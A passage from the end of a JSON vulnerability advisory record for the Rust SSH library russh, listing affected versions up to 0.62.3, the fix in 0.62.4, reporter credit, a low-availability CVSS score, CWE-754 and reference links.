4251 §5\n}\n```\n\n### Affected versions\n\n- `russh` **<= 0.62.3** (commit `c4be19f1915c` / current `main` HEAD\n  `v0.62.3`, 2026-07-22). The bug is still present on `main`; it is not covered\n  by any of the 11 published russh GHSA advisories. Default `server::Config`\n  and `client::Config` are affected (no feature flag or opt-in).\n\n## Credit\n\nIndependently reported by [Zhaodl1](https://github.com/Zhaodl1) and the diff/ambidiff security research effort (afldl).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "russh"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.62.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.62.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Eugeny/russh/security/advisories/GHSA-5xvq-cp9x-6p6r"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Eugeny/russh/commit/a7fc1eb5717264e31c3c5f7dd849b73989a08f3d"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Eugeny/russh"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Eugeny/russh/releases/tag/v0.62.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-754" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-24T16:45:26Z",
    "nvd_published_at" : null
  }
}